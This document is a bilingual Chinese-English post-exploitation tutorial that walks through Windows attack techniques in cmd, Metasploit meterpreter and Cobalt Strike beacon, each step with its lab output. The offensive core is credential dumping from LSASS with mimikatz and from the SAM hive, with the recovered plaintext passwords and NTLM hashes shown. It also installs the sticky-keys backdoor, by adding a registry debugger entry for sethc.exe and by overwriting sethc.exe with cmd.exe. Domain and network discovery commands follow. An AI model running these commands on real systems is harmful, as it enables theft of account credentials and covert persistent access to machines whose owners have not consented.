Credential Dumping(凭证窃取)

Dump credentials from LSASS(从LSASS中窃取凭证)

实现原理:

  1. This technique injects into the LSASS.exe process and scrapes its memory for plaintext passwords of logged on users. You must do this from a high integrity process.
  2. 注入lsass .exe进程,并从其内存中提取登录用户的明文密码

msf下操作:

use mimikatz

wdigest(获取WDigest凭据)

msv (获取msv凭据(hash))

kerberos (获取kerberos)

  1. meterpreter > use mimikatz
  2. Loading extension mimikatz...Success.
  3. meterpreter > wdigest
  4. [!] Not currently running as SYSTEM
  5. [*] Attempting to getprivs ...
  6. [+] Got SeDebugPrivilege.
  7. [*] Retrieving wdigest credentials
  8. wdigest credentials
  9. ===================
  10. AuthID Package Domain User Password
  11. ------ ------- ------ ---- --------
  12. 0;996 Negotiate NT AUTHORITY NETWORK SERVICE
  13. 0;53216 NTLM
  14. 0;997 Negotiate NT AUTHORITY LOCAL SERVICE
  15. 0;999 NTLM WORKGROUP ROOT-5DE52AC98B$
  16. 0;146131 NTLM ROOT-5DE52AC98B Administrator 123456
  17. meterpreter > msv
  18. [!] Not currently running as SYSTEM
  19. [*] Attempting to getprivs ...
  20. [+] Got SeDebugPrivilege.
  21. [*] Retrieving msv credentials
  22. msv credentials
  23. ===============
  24. AuthID Package Domain User Password
  25. ------ ------- ------ ---- --------
  26. 0;146131 NTLM ROOT-5DE52AC98B Administrator lm{ 44efce164ab921caaad3b435b51404ee }, ntlm{ 32ed87bdb5fdc5e9cba88547376818d4 }
  27. 0;996 Negotiate NT AUTHORITY NETWORK SERVICE lm{ aad3b435b51404eeaad3b435b51404ee }, ntlm{ 31d6cfe0d16ae931b73c59d7e0c089c0 }
  28. 0;53216 NTLM n.s. (Credentials KO)
  29. 0;997 Negotiate NT AUTHORITY LOCAL SERVICE n.s. (Credentials KO)
  30. 0;999 NTLM WORKGROUP ROOT-5DE52AC98B$ n.s. (Credentials KO)
  31. meterpreter > kerberos
  32. [!] Not currently running as SYSTEM
  33. [*] Attempting to getprivs ...
  34. [+] Got SeDebugPrivilege.
  35. [*] Retrieving kerberos credentials
  36. kerberos credentials
  37. ====================
  38. AuthID Package Domain User Password
  39. ------ ------- ------ ---- --------
  40. 0;996 Negotiate NT AUTHORITY NETWORK SERVICE
  41. 0;53216 NTLM
  42. 0;997 Negotiate NT AUTHORITY LOCAL SERVICE
  43. 0;999 NTLM WORKGROUP ROOT-5DE52AC98B$
  44. 0;146131 NTLM ROOT-5DE52AC98B Administrator 123456

cs下操作

logonpasswords

mimikatz !sekurlsa::logonpasswords

mimikatz !sekurlsa::msv

mimikatz !sekurlsa::kerberos

mimikatz !sekurlsa::wdigest

  1. beacon> logonpasswords
  2. [*] Tasked beacon to run mimikatz's sekurlsa::logonpasswords command
  3. [+] host called home, sent: 630354 bytes
  4. [+] received output:
  5. Authentication Id : 0 ; 338316 (00000000:0005298c)
  6. Session : Interactive from 0
  7. User Name : Administrator
  8. Domain : ROOT-5DE52AC98B
  9. Logon Server : ROOT-5DE52AC98B
  10. Logon Time : 2019-9-4 19:18:26
  11. SID : S-1-5-21-1911985068-4225083820-4011728908-500
  12. msv :
  13. [00000002] Primary
  14. * Username : Administrator
  15. * Domain : ROOT-5DE52AC98B
  16. * LM : 44efce164ab921caaad3b435b51404ee
  17. * NTLM : 32ed87bdb5fdc5e9cba88547376818d4
  18. * SHA1 : 6ed5833cf35286ebf8662b7b5949f0d742bbec3f
  19. wdigest :
  20. * Username : Administrator
  21. * Domain : ROOT-5DE52AC98B
  22. * Password : 123456
  23. kerberos :
  24. * Username : Administrator
  25. * Domain : ROOT-5DE52AC98B
  26. * Password : 123456
  27. ssp :
  28. credman :
  29. Authentication Id : 0 ; 996 (00000000:000003e4)
  30. Session : Service from 0
  31. User Name : NETWORK SERVICE
  32. Domain : NT AUTHORITY
  33. Logon Server : (null)
  34. Logon Time : 2019-9-4 19:14:12
  35. SID : S-1-5-20
  36. msv :
  37. [00000002] Primary
  38. * Username : ROOT-5DE52AC98B$
  39. * Domain : WORKGROUP
  40. * LM : aad3b435b51404eeaad3b435b51404ee
  41. * NTLM : 31d6cfe0d16ae931b73c59d7e0c089c0
  42. * SHA1 : da39a3ee5e6b4b0d3255bfef95601890afd80709
  43. wdigest :
  44. * Username : ROOT-5DE52AC98B$
  45. * Domain : WORKGROUP
  46. * Password : (null)
  47. kerberos :
  48. * Username : root-5de52ac98b$
  49. * Domain : WORKGROUP
  50. * Password : (null)
  51. ssp :
  52. credman :
  53. Authentication Id : 0 ; 997 (00000000:000003e5)
  54. Session : Service from 0
  55. User Name : LOCAL SERVICE
  56. Domain : NT AUTHORITY
  57. Logon Server : (null)
  58. Logon Time : 2019-9-4 19:14:12
  59. SID : S-1-5-19
  60. msv :
  61. wdigest :
  62. kerberos :
  63. * Username : (null)
  64. * Domain : (null)
  65. * Password : (null)
  66. ssp :
  67. credman :
  68. Authentication Id : 0 ; 53331 (00000000:0000d053)
  69. Session : UndefinedLogonType from 0
  70. User Name : (null)
  71. Domain : (null)
  72. Logon Server : (null)
  73. Logon Time : 2019-9-4 19:14:12
  74. SID :
  75. msv :
  76. wdigest :
  77. kerberos :
  78. ssp :
  79. credman :
  80. Authentication Id : 0 ; 999 (00000000:000003e7)
  81. Session : UndefinedLogonType from 0
  82. User Name : ROOT-5DE52AC98B$
  83. Domain : WORKGROUP
  84. Logon Server : (null)
  85. Logon Time : 2019-9-4 19:14:12
  86. SID : S-1-5-18
  87. msv :
  88. wdigest :
  89. kerberos :
  90. * Username : root-5de52ac98b$
  91. * Domain : WORKGROUP
  92. * Password : (null)
  93. ssp :
  94. credman :

Dumps hashes from the SAM Hive file(从sam文件里面读取hash)

实现原理:

  1. The SAM is a database file that contains local accounts for the host, typically those found with the net user command. To enumerate the SAM database, system level access is required.
  2. sam文件存放着hash,然后读取该文件进行获得凭证

msf下操作

hashdump (普通hash获取)

run hashdump

post/windows/gather/credentials/domain_hashdump (获取域hash)

  1. meterpreter > hashdump
  2. Administrator:500:44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
  3. ASPNET:1006:1dce4321e5283c3e841070331873c406:085f84e35a1bfb09ca65d008cc988cae:::
  4. Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
  5. IUSR_ROOT-5DE52AC98B:1003:406eafe671e3ac72ddb9179ad9a2204a:4fa4e3f7ef6f5dc7e1b129caab134cbd:::
  6. IWAM_ROOT-5DE52AC98B:1004:53aacf61b38888da87c793e8c36cb74a:14ba2ea13539973d3f0be627e43ff408:::
  7. SUPPORT_388945a0:1001:aad3b435b51404eeaad3b435b51404ee:7490f8cea3cd28b37717a5d4be375404:::
  8. meterpreter > run hashdump (需要系统权限)
  9. [!] Meterpreter scripts are deprecated. Try post/windows/gather/smart_hashdump.
  10. [!] Example: run post/windows/gather/smart_hashdump OPTION=value [...]
  11. [*] Obtaining the boot key...
  12. [*] Calculating the hboot key using SYSKEY be7ba5c5d5c67d878cd0845b2b4d1027...
  13. [-] Meterpreter Exception: Rex::Post::Meterpreter::RequestError stdapi_registry_open_key: Operation failed: Access is denied.
  14. [-] This script requires the use of a SYSTEM user context (hint: migrate into service process)
  15. msf5 post(windows/gather/credentials/domain_hashdump) > exploit
  16. [*] Session has Admin privs
  17. [-] This does not appear to be an AD Domain Controller
  18. [*] Post module execution completed

cs下操作

hashdump

mimikatz !lsadump::sam

  1. beacon> hashdump
  2. [*] Tasked beacon to dump hashes
  3. [+] host called home, sent: 63557 bytes
  4. [+] received password hashes:
  5. Administrator:500:44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
  6. ASPNET:1006:1dce4321e5283c3e841070331873c406:085f84e35a1bfb09ca65d008cc988cae:::
  7. Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
  8. IUSR_ROOT-5DE52AC98B:1003:406eafe671e3ac72ddb9179ad9a2204a:4fa4e3f7ef6f5dc7e1b129caab134cbd:::
  9. IWAM_ROOT-5DE52AC98B:1004:53aacf61b38888da87c793e8c36cb74a:14ba2ea13539973d3f0be627e43ff408:::
  10. SUPPORT_388945a0:1001:aad3b435b51404eeaad3b435b51404ee:7490f8cea3cd28b37717a5d4be375404:::
  11. beacon> mimikatz !lsadump::sam
  12. [*] Tasked beacon to run mimikatz's !lsadump::sam command
  13. [+] host called home, sent: 841287 bytes
  14. [+] received output:
  15. Domain : ROOT-5DE52AC98B
  16. SysKey : be7ba5c5d5c67d878cd0845b2b4d1027
  17. Local SID : S-1-5-21-1911985068-4225083820-4011728908
  18. SAMKey : 5dfe2beb57a9d468ed8a72c51c7334ff
  19. RID : 000001f4 (500)
  20. User : Administrator
  21. Hash LM : 44efce164ab921caaad3b435b51404ee
  22. Hash NTLM: 32ed87bdb5fdc5e9cba88547376818d4
  23. RID : 000001f5 (501)
  24. User : Guest
  25. RID : 000003e9 (1001)
  26. User : SUPPORT_388945a0
  27. Hash NTLM: 7490f8cea3cd28b37717a5d4be375404
  28. RID : 000003eb (1003)
  29. User : IUSR_ROOT-5DE52AC98B
  30. Hash LM : 406eafe671e3ac72ddb9179ad9a2204a
  31. Hash NTLM: 4fa4e3f7ef6f5dc7e1b129caab134cbd
  32. RID : 000003ec (1004)
  33. User : IWAM_ROOT-5DE52AC98B
  34. Hash LM : 53aacf61b38888da87c793e8c36cb74a
  35. Hash NTLM: 14ba2ea13539973d3f0be627e43ff408
  36. RID : 000003ee (1006)
  37. User : ASPNET
  38. Hash LM : 1dce4321e5283c3e841070331873c406
  39. Hash NTLM: 085f84e35a1bfb09ca65d008cc988cae

Query Registry(注册表查询)

Check terminal services(检测终端服务)

原理:

  1. Check for the current registry value for terminal services, if it's 0, then terminal services are enabled. If it's 1, then they're disabled
  2. 从注册表中的键值检测是否开启终端服务,如果是0,则为开启,为1则是关闭

terminal(cmd)下操作:

  1. C:\Documents and Settings\Administrator\����>reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
  2. reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
  3. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server
  4. fDenyTSConnections REG_DWORD 0x0

msf下操作:

reg queryval -k "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" -v fDenyTSConnections

post/windows/gather/enum_termserv (不好用)

  1. meterpreter > reg queryval -k "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" -v fDenyTSConnections
  2. Key: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server
  3. Name: fDenyTSConnections
  4. Type: REG_DWORD
  5. Data: 0
  6. msf5 post(windows/gather/enum_termserv) > exploit
  7. [*] Doing enumeration for S-1-5-21-1911985068-4225083820-4011728908-500
  8. [*] Post module execution completed

cs下操作

shell reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections

  1. beacon> shell reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
  2. [*] Tasked beacon to run: reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
  3. [+] host called home, sent: 132 bytes
  4. [+] received output:
  5. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server
  6. fDenyTSConnections REG_DWORD 0x1

Accessibility Features(易访问特征)

Point sethc.exe file to cmd.exe(使用sethc启动cmd)

原理:

  1. Modify the registry to point the sethc.exe file to point to cmd.exe
  2. 修改注册表使sethc指向cmd,然后五次shift后就可以调出cmd,当然你也可以使用这种方法去激活一个msfshell

terminal下操作:

REG ADD "HKLM\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ
/d "C:\windows\system32\cmd.exe" /f

  1. C:\Documents and Settings\Administrator>REG ADD "HKLM\SOFTWARE\Microsoft\Windows
  2. NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ
  3. /d "C:\windows\system32\cmd.exe" /f
  4. 操作成功完成。

msf下操作

post/windows/manage/sticky_keys

  1. msf5 post(windows/manage/sticky_keys) > exploit
  2. [+] Session has administrative rights, proceeding.
  3. [+] 'Sticky keys' successfully added. Launch the exploit at an RDP or UAC prompt by pressing SHIFT 5 times.
  4. [*] Post module execution completed

cs下操作

shell REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe" /f

  1. beacon> shell REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe" /f
  2. [*] Tasked beacon to run: REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe" /f
  3. [+] host called home, sent: 187 bytes
  4. [+] received output:
  5. 操作成功完成。

Replace real sethc.exe with a copy of cmd.exe(用cmd的副本代替sethc)

使用takeown.exe获取系统ALC权限,然后替换

terminal下操作:

takeown.exe C:\Windows\system32\sethc.exe

del C:\Windows\system32\sethc.exe

copy C:\Windows\system32\cmd.exe C:\Windows\system32\sethc.exe

  1. C:\Documents and Settings\Administrator>takeown.exe C:\Windows\system32\sethc.ex
  2. e
  3. 错误: 无效参数/选项 - 'C:\Windows\system32\sethc.exe'
  4. 键入 "TAKEOWN /?" 以了解用法。
  5. C:\Documents and Settings\Administrator>del C:\Windows\system32\sethc.exe
  6. C:\Documents and Settings\Administrator>copy C:\Windows\system32\cmd.exe C:\Wind
  7. ows\system32\sethc.exe
  8. 覆盖 C:\Windows\system32\sethc.exe 吗? (Yes/No/All): yes
  9. 已复制 1 个文件。

cs下操作:

shell takeown.exe C:\Windows\system32\sethc.exe

shell del C:\Windows\system32\sethc.exe

shell copy C:\Windows\system32\cmd.exe C:\Windows\system32\sethc.exe

  1. beacon> shell takeown.exe C:\Windows\system32\sethc.exe
  2. [*] Tasked beacon to run: takeown.exe C:\Windows\system32\sethc.exe
  3. [+] host called home, sent: 72 bytes
  4. [+] received output:
  5. 错误: 无效参数/选项 - 'C:\Windows\system32\sethc.exe'
  6. 键入 "TAKEOWN /?" 以了解用法。
  7. beacon> shell del C:\Windows\system32\sethc.exe
  8. [*] Tasked beacon to run: del C:\Windows\system32\sethc.exe
  9. beacon> shell copy C:\Windows\system32\cmd.exe C:\Windows\system32\sethc.exe
  10. [*] Tasked beacon to run: copy C:\Windows\system32\cmd.exe C:\Windows\system32\sethc.exe
  11. [+] host called home, sent: 157 bytes
  12. [+] received output:
  13. 已复制 1 个文件。

System Network Configuration Discovery(系统网络配置发现)

Get network information(发现网络信息)

terminal下操作:

ipconfig /all

  1. C:\Documents and Settings\Administrator>ipconfig /all
  2. Windows IP Configuration
  3. Host Name . . . . . . . . . . . . : root-5de52ac98b
  4. Primary Dns Suffix . . . . . . . :
  5. Node Type . . . . . . . . . . . . : Unknown
  6. IP Routing Enabled. . . . . . . . : No
  7. WINS Proxy Enabled. . . . . . . . : No
  8. Ethernet adapter 本地连接:
  9. Connection-specific DNS Suffix . :
  10. Description . . . . . . . . . . . : Intel(R) PRO/1000 MT Network Connection
  11. Physical Address. . . . . . . . . : 00-0C-29-D4-66-73
  12. DHCP Enabled. . . . . . . . . . . : Yes
  13. Autoconfiguration Enabled . . . . : Yes
  14. IP Address. . . . . . . . . . . . : 192.168.2.114
  15. Subnet Mask . . . . . . . . . . . : 255.255.255.0
  16. Default Gateway . . . . . . . . . : 192.168.2.1
  17. DHCP Server . . . . . . . . . . . : 192.168.2.1
  18. DNS Servers . . . . . . . . . . . : 192.168.2.1
  19. Lease Obtained. . . . . . . . . . : 201994 19:14:12
  20. Lease Expires . . . . . . . . . . : 201995 19:14:12
  21. C:\Documents and Settings\Administrator>

msf下操作:

post/windows/gather/enum_domains

  1. msf5 post(windows/gather/enum_domains) > exploit
  2. [*] Enumerating DCs for WORKGROUP
  3. [-] No Domain Controllers found...
  4. [*] Post module execution completed

cs下操作:

shell ipconfig /all

  1. beacon> shell ipconfig /all
  2. [*] Tasked beacon to run: ipconfig /all
  3. [+] host called home, sent: 44 bytes
  4. [+] received output:
  5. Windows IP Configuration
  6. Host Name . . . . . . . . . . . . : root-5de52ac98b
  7. Primary Dns Suffix . . . . . . . :
  8. Node Type . . . . . . . . . . . . : Unknown
  9. IP Routing Enabled. . . . . . . . : No
  10. WINS Proxy Enabled. . . . . . . . : No
  11. Ethernet adapter 本地连接:
  12. Connection-specific DNS Suffix . :
  13. Description . . . . . . . . . . . : Intel(R) PRO/1000 MT Network Connection
  14. Physical Address. . . . . . . . . : 00-0C-29-D4-66-73
  15. DHCP Enabled. . . . . . . . . . . : Yes
  16. Autoconfiguration Enabled . . . . : Yes
  17. IP Address. . . . . . . . . . . . : 192.168.2.114
  18. Subnet Mask . . . . . . . . . . . : 255.255.255.0
  19. Default Gateway . . . . . . . . . : 192.168.2.1
  20. DHCP Server . . . . . . . . . . . : 192.168.2.1
  21. DNS Servers . . . . . . . . . . . : 192.168.2.1
  22. Lease Obtained. . . . . . . . . . : 201994 19:14:12
  23. Lease Expires . . . . . . . . . . : 201995 19:14:12

Get ARP table(获取arp表)

terminal下操作

arp -a

router print

  1. C:\Documents and Settings\Administrator>arp -a
  2. Interface: 192.168.2.114 --- 0x10003
  3. Internet Address Physical Address Type
  4. 192.168.2.1 fc-7c-02-de-0e-c8 dynamic
  5. 192.168.2.107 b4-6b-fc-47-ad-60 dynamic

msf下操作:

router

  1. meterpreter > route
  2. IPv4 network routes
  3. ===================
  4. Subnet Netmask Gateway Metric Interface
  5. ------ ------- ------- ------ ---------
  6. 0.0.0.0 0.0.0.0 192.168.2.1 10 65539
  7. 127.0.0.0 255.0.0.0 127.0.0.1 1 1
  8. 192.168.2.0 255.255.255.0 192.168.2.114 10 65539
  9. 192.168.2.114 255.255.255.255 127.0.0.1 10 1
  10. 192.168.2.255 255.255.255.255 192.168.2.114 10 65539
  11. 224.0.0.0 240.0.0.0 192.168.2.114 10 65539
  12. 255.255.255.255 255.255.255.255 192.168.2.114 1 65539

cs下操作:

arp -a

  1. beacon> shell arp -a
  2. [*] Tasked beacon to run: arp -a
  3. [+] host called home, sent: 37 bytes
  4. [+] received output:
  5. Interface: 192.168.2.114 --- 0x10003
  6. Internet Address Physical Address Type
  7. 192.168.2.1 fc-7c-02-de-0e-c8 dynamic
  8. 192.168.2.107 b4-6b-fc-47-ad-60 dynamic

Dump MAC, IP addresses and codes(获取mac、ip地址和其描述性代码)

用于获取计算机的MAC和IP地址以及一些描述性代码(0x1C表示一个域控制器)

termainal下操作:

nbtstat -a ip

  1. C:\Documents and Settings\Administrator>nbtstat -a ip
  2. 本地连接:
  3. Node IpAddress: [192.168.2.114] Scope Id: []
  4. NetBIOS Remote Machine Name Table
  5. Name Type Status
  6. ---------------------------------------------
  7. ROOT-5DE52AC98B<00> UNIQUE Registered
  8. WORKGROUP <00> GROUP Registered
  9. ROOT-5DE52AC98B<20> UNIQUE Registered
  10. WORKGROUP <1E> GROUP Registered
  11. WORKGROUP <1D> UNIQUE Registered
  12. ..__MSBROWSE__.<01> GROUP Registered
  13. MAC Address = 00-0C-29-D4-66-73

cs下操作:

shell c:\windows\system32\nbtstat.exe -a ip

  1. beacon> shell c:\windows\system32\nbtstat.exe -a 192.168.2.114
  2. [*] Tasked beacon to run: c:\windows\system32\nbtstat.exe -a 192.168.2.114
  3. [+] host called home, sent: 79 bytes
  4. [+] received output:
  5. 本地连接:
  6. Node IpAddress: [192.168.2.114] Scope Id: []
  7. NetBIOS Remote Machine Name Table
  8. Name Type Status
  9. ---------------------------------------------
  10. ROOT-5DE52AC98B<00> UNIQUE Registered
  11. WORKGROUP <00> GROUP Registered
  12. ROOT-5DE52AC98B<20> UNIQUE Registered
  13. WORKGROUP <1E> GROUP Registered
  14. WORKGROUP <1D> UNIQUE Registered
  15. ..__MSBROWSE__.<01> GROUP Registered
  16. MAC Address = 00-0C-29-D4-66-73

Remote System Discovery(远程系统发现)

Get the list of domain computers(获取域主机列表)

terminal下操作:

net group "Domain Computers" /domain

  1. C:\Documents and Settings\Administrator>net group "Domain Computers" /domain
  2. 这项请求将在域 WORKGROUP 的域控制器处理。
  3. 发生系统错误 1355
  4. 指定的域不存在,或无法联系。

msf下操作:

post/windows/gather/enum_ad_computers

post/windows/gather/enum_computers

  1. msf5 post(windows/gather/enum_ad_computers) > exploit
  2. [-] Unable to find the domain to query.
  3. [*] Post module execution completed
  4. msf5 post(windows/gather/enum_computers) > exploit
  5. [*] Running module against ROOT-5DE52AC98B
  6. [-] This host is not part of a domain.
  7. [*] Post module execution completed

cs下操作:

shell net group "Domain Computers" /domain

  1. beacon> shell net group "Domain Computers" /domain
  2. [*] Tasked beacon to run: net group "Domain Computers" /domain
  3. [+] host called home, sent: 67 bytes
  4. [+] received output:
  5. 这项请求将在域 WORKGROUP 的域控制器处理。
  6. 发生系统错误 1355
  7. 指定的域不存在,或无法联系

Get the list of domain controllers(获取域控列表)

terminal下操作:

net group "Domain Controllers" /domain[:DOMAIN]

  1. C:\Documents and Settings\Administrator>net group "Domain Controllers" /domain
  2. 这项请求将在域 WORKGROUP 的域控制器处理。
  3. 发生系统错误 1355
  4. 指定的域不存在,或无法联系

cs下操作:

shell net group "Domain Controllers" /domain

  1. beacon> shell net group "Domain Controllers" /domain
  2. [*] Tasked beacon to run: net group "Domain Controllers" /domain
  3. [+] host called home, sent: 69 bytes
  4. [+] received output:
  5. 这项请求将在域 WORKGROUP 的域控制器处理。
  6. 发生系统错误 1355
  7. 指定的域不存在,或无法联系。

Display trust relationship with domain controller(显示域信任关系)

terminal下操作:

nltest /dclist

Display the active directory login server of the workstation(显示ad域工作组的登录器)

terminal下操作:

echo %LOGONSERVER%

  1. C:\Documents and Settings\Administrator>echo %LOGONSERVER%
  2. \\ROOT-5DE52AC98B

cs下操作:

shell echo %LOGONSERVER%

  1. beacon> shell echo %LOGONSERVER%
  2. [*] Tasked beacon to run: echo %LOGONSERVER%
  3. [+] host called home, sent: 49 bytes
  4. [+] received output:
  5. \\ROOT-5DE52AC98B

System Owner/User Discovery(系统用户发现)

Get user information(获取用户信息)

terminal下操作:

whoami /all /fo list

  1. C:\Documents and Settings\Administrator>whoami
  2. root-5de52ac98b\administrator
  3. C:\Documents and Settings\Administrator>whoami /all
  4. 用户信息
  5. ----------------
  6. 用户名 SID
  7. ============================= =============================================
  8. root-5de52ac98b\administrator S-1-5-21-1911985068-4225083820-4011728908-500
  9. 组信息
  10. -----------------
  11. 组名 类型 SID 属性
  12. ================================ ====== ============ ===========================
  13. ===============
  14. Everyone 已知组 S-1-1-0 必需的组, 启用于默认, 启用
  15. 的组
  16. BUILTIN\Administrators 别名 S-1-5-32-544 必需的组, 启用于默认, 启用
  17. 的组, 组的所有者
  18. BUILTIN\Users 别名 S-1-5-32-545 必需的组, 启用于默认, 启用
  19. 的组
  20. NT AUTHORITY\INTERACTIVE 已知组 S-1-5-4 必需的组, 启用于默认, 启用
  21. 的组
  22. NT AUTHORITY\Authenticated Users 已知组 S-1-5-11 必需的组, 启用于默认, 启用
  23. 的组
  24. NT AUTHORITY\This Organization 已知组 S-1-5-15 必需的组, 启用于默认, 启用
  25. 的组
  26. LOCAL 已知组 S-1-2-0 必需的组, 启用于默认, 启用
  27. 的组
  28. NT AUTHORITY\NTLM Authentication 已知组 S-1-5-64-10 必需的组, 启用于默认, 启用
  29. 的组
  30. 特权信息
  31. ----------------------
  32. 特权名 描述 状态
  33. =============================== ========================== ======
  34. SeLockMemoryPrivilege 内存中锁定页面 已禁用
  35. SeChangeNotifyPrivilege 跳过遍历检查 已启用
  36. SeSecurityPrivilege 管理审核和安全日志 已禁用
  37. SeBackupPrivilege 备份文件和目录 已禁用
  38. SeRestorePrivilege 还原文件和目录 已禁用
  39. SeSystemtimePrivilege 更改系统时间 已禁用
  40. SeShutdownPrivilege 关闭系统 已禁用
  41. SeRemoteShutdownPrivilege 从远程系统强制关机 已禁用
  42. SeTakeOwnershipPrivilege 取得文件或其他对象的所有权 已禁用
  43. SeDebugPrivilege 调试程序 已禁用
  44. SeSystemEnvironmentPrivilege 修改固件环境值 已禁用
  45. SeSystemProfilePrivilege 配置系统性能 已禁用
  46. SeProfileSingleProcessPrivilege 配置单一进程 已禁用
  47. SeIncreaseBasePriorityPrivilege 增加计划优先级 已禁用
  48. SeLoadDriverPrivilege 装载和卸载设备驱动程序 已禁用
  49. SeCreatePagefilePrivilege 创建页面文件 已禁用
  50. SeIncreaseQuotaPrivilege 调整进程的内存配额 已禁用
  51. SeUndockPrivilege 从扩展坞中取出计算机 已禁用
  52. SeManageVolumePrivilege 执行卷维护任务 已禁用
  53. SeImpersonatePrivilege 身份验证后模拟客户端 已启用
  54. SeCreateGlobalPrivilege 创建全局对象 已启用
  55. C:\Documents and Settings\Administrator>whoami /all /fo list
  56. 用户信息
  57. ----------------
  58. 用户名: root-5de52ac98b\administrator
  59. SID: S-1-5-21-1911985068-4225083820-4011728908-500
  60. 组信息
  61. -----------------
  62. 组名: Everyone
  63. 类型: 已知组
  64. SID: S-1-1-0
  65. 属性: 必需的组, 启用于默认, 启用的组
  66. 组名: BUILTIN\Administrators
  67. 类型: 别名
  68. SID: S-1-5-32-544
  69. 属性: 必需的组, 启用于默认, 启用的组, 组的所有者
  70. 组名: BUILTIN\Users
  71. 类型: 别名
  72. SID: S-1-5-32-545
  73. 属性: 必需的组, 启用于默认, 启用的组
  74. 组名: NT AUTHORITY\INTERACTIVE
  75. 类型: 已知组
  76. SID: S-1-5-4
  77. 属性: 必需的组, 启用于默认, 启用的组
  78. 组名: NT AUTHORITY\Authenticated Users
  79. 类型: 已知组
  80. SID: S-1-5-11
  81. 属性: 必需的组, 启用于默认, 启用的组
  82. 组名: NT AUTHORITY\This Organization
  83. 类型: 已知组
  84. SID: S-1-5-15
  85. 属性: 必需的组, 启用于默认, 启用的组
  86. 组名: LOCAL
  87. 类型: 已知组
  88. SID: S-1-2-0
  89. 属性: 必需的组, 启用于默认, 启用的组
  90. 组名: NT AUTHORITY\NTLM Authentication
  91. 类型: 已知组
  92. SID: S-1-5-64-10
  93. 属性: 必需的组, 启用于默认, 启用的组
  94. 特权信息
  95. ----------------------
  96. 特权名: SeLockMemoryPrivilege
  97. 描述: 内存中锁定页面
  98. 状态: 已禁用
  99. 特权名: SeChangeNotifyPrivilege
  100. 描述: 跳过遍历检查
  101. 状态: 已启用
  102. 特权名: SeSecurityPrivilege
  103. 描述: 管理审核和安全日志
  104. 状态: 已禁用
  105. 特权名: SeBackupPrivilege
  106. 描述: 备份文件和目录
  107. 状态: 已禁用
  108. 特权名: SeRestorePrivilege
  109. 描述: 还原文件和目录
  110. 状态: 已禁用
  111. 特权名: SeSystemtimePrivilege
  112. 描述: 更改系统时间
  113. 状态: 已禁用
  114. 特权名: SeShutdownPrivilege
  115. 描述: 关闭系统
  116. 状态: 已禁用
  117. 特权名: SeRemoteShutdownPrivilege
  118. 描述: 从远程系统强制关机
  119. 状态: 已禁用
  120. 特权名: SeTakeOwnershipPrivilege
  121. 描述: 取得文件或其他对象的所有权
  122. 状态: 已禁用
  123. 特权名: SeDebugPrivilege
  124. 描述: 调试程序
  125. 状态: 已禁用
  126. 特权名: SeSystemEnvironmentPrivilege
  127. 描述: 修改固件环境值
  128. 状态: 已禁用
  129. 特权名: SeSystemProfilePrivilege
  130. 描述: 配置系统性能
  131. 状态: 已禁用
  132. 特权名: SeProfileSingleProcessPrivilege
  133. 描述: 配置单一进程
  134. 状态: 已禁用
  135. 特权名: SeIncreaseBasePriorityPrivilege
  136. 描述: 增加计划优先级
  137. 状态: 已禁用
  138. 特权名: SeLoadDriverPrivilege
  139. 描述: 装载和卸载设备驱动程序
  140. 状态: 已禁用
  141. 特权名: SeCreatePagefilePrivilege
  142. 描述: 创建页面文件
  143. 状态: 已禁用
  144. 特权名: SeIncreaseQuotaPrivilege
  145. 描述: 调整进程的内存配额
  146. 状态: 已禁用
  147. 特权名: SeUndockPrivilege
  148. 描述: 从扩展坞中取出计算机
  149. 状态: 已禁用
  150. 特权名: SeManageVolumePrivilege
  151. 描述: 执行卷维护任务
  152. 状态: 已禁用
  153. 特权名: SeImpersonatePrivilege
  154. 描述: 身份验证后模拟客户端
  155. 状态: 已启用
  156. 特权名: SeCreateGlobalPrivilege
  157. 描述: 创建全局对象
  158. 状态: 已启用

msf下操作:

getuid

  1. meterpreter > getuid
  2. Server username: ROOT-5DE52AC98B\Administrator

cs下操作:

shell whoami /all /fo list

  1. beacon> shell whoami /all /fo list
  2. [*] Tasked beacon to run: whoami /all /fo list
  3. [+] host called home, sent: 51 bytes
  4. [+] received output:
  5. 用户信息
  6. ----------------
  7. 用户名: root-5de52ac98b\administrator
  8. SID: S-1-5-21-1911985068-4225083820-4011728908-500
  9. 组信息
  10. -----------------
  11. 组名: Everyone
  12. 类型: 已知组
  13. SID: S-1-1-0
  14. 属性: 必需的组, 启用于默认, 启用的组
  15. 组名: BUILTIN\Administrators
  16. 类型: 别名
  17. SID: S-1-5-32-544
  18. 属性: 必需的组, 启用于默认, 启用的组, 组的所有者
  19. 组名: BUILTIN\Users
  20. 类型: 别名
  21. SID: S-1-5-32-545
  22. 属性: 必需的组, 启用于默认, 启用的组
